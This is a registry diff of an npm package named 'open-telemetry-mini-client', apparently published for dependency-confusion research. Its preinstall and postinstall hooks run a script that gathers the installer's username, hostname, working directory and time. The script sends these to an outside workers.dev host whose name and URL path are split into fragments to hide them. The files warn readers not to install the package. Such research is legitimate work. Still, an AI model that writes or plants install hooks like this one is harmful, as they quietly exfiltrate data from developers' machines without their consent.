open-telemetry-mini-client 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,4 @@
1
+ # DO NOT INSTALL THIS PACKAGE.
2
+
3
+ This package is for research purposes only, and will be deleted in the future.
4
+
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // Author: Sean Pesce
2
+ // This package is for research purposes only - DO NOT install this.
@@ -0,0 +1,117 @@
1
+ // Author: Sean Pesce
2
+ //
3
+ // NPM package pre-/post- install script
4
+ //
5
+ // For research purposes only - DO NOT run this script.
6
+
7
+ const https = require('https');
8
+
9
+ // Get environment information
10
+ var username = '';
11
+ try {
12
+ username = encodeURIComponent(require('os').userInfo().username);
13
+ } catch (err) {
14
+
15
+ }
16
+ var hostname = '';
17
+ try {
18
+ hostname = encodeURIComponent(require('os').hostname());
19
+ } catch (err) {
20
+
21
+ }
22
+ var cwd = '';
23
+ try {
24
+ cwd = encodeURIComponent(require('process').cwd());
25
+ } catch (err) {
26
+
27
+ }
28
+ var curTime = '';
29
+ try {
30
+ curTime = encodeURIComponent((new Date()).toISOString());
31
+ } catch (err) {
32
+
33
+ }
34
+ var pkgVer = '';
35
+ try {
36
+ const fs = require('fs');
37
+ var jsonData = fs.readFileSync('package.json', 'utf8');
38
+ jsonData = JSON.parse(jsonData);
39
+ pkgVer = encodeURIComponent(jsonData.version);
40
+ } catch (err) {
41
+
42
+ }
43
+
44
+
45
+ const URL_PATH = '/npm/'+
46
+ 'open-'+
47
+ 'telem'+
48
+ 'etry-'+
49
+ 'mini-'+
50
+ 'clien'+
51
+ 't/cDt'+
52
+ 'lP'+
53
+ 'XBlc'+
54
+ '2'+
55
+ 'Nlc2'+
56
+ 'V'+
57
+ 'hbkB'+
58
+ 'n'+
59
+ 'bWFp'+
60
+ 'b'+
61
+ 'C5jb'+
62
+ '2'+
63
+ '0mcn'+
64
+ 'Q'+
65
+ '9ZW1'+
66
+ 'h'+
67
+ 'aWwm'+
68
+ 'Z'+
69
+ 'Wlud'+
70
+ 'D'+
71
+ '0yJm'+
72
+ 'V'+
73
+ 'saW1'+
74
+ 'p'+
75
+ 'dD0x'+
76
+ 'M'+
77
+ 'Ao=/'+
78
+ '?eid='+
79
+ 'npm.o'+
80
+ 'pen-t'+
81
+ 'eleme'+
82
+ 'try-m'+
83
+ 'ini-c'+
84
+ 'lient'+
85
+ '' + '&usr=' + username + '&h=' + hostname + '&d=' + cwd + '&t=' + curTime + '&v=' + pkgVer;
86
+
87
+ const options = {
88
+ hostname: 'depen'+
89
+ 'dency'+
90
+ '-conf'+
91
+ 'usion'+
92
+ '-rese'+
93
+ 'arch.'+
94
+ 'pesce'+
95
+ 'sean.'+
96
+ 'worke'+
97
+ 'rs.de'+
98
+ 'v',
99
+ port: 443,
100
+ path: URL_PATH,
101
+ method: 'GET',
102
+ headers: {
103
+ 'user-agent': 'seanp-npm_open-telemetry-mini-client',
104
+ },
105
+ };
106
+
107
+ const req = https.request(options, (res) => {
108
+ res.on('data', (d) => {
109
+ //process.stdout.write(d);
110
+ });
111
+ });
112
+
113
+ req.on('error', (error) => {
114
+ //console.error(error);
115
+ });
116
+
117
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "open-telemetry-mini-client",
3
+ "version": "2.0.0",
4
+ "description": "For research purposes only - DO NOT USE. This package will be deleted in the future.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node installScript.js",
8
+ "postinstall": "node installScript.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "anonymous",
12
+ "license": "ISC"
13
+ }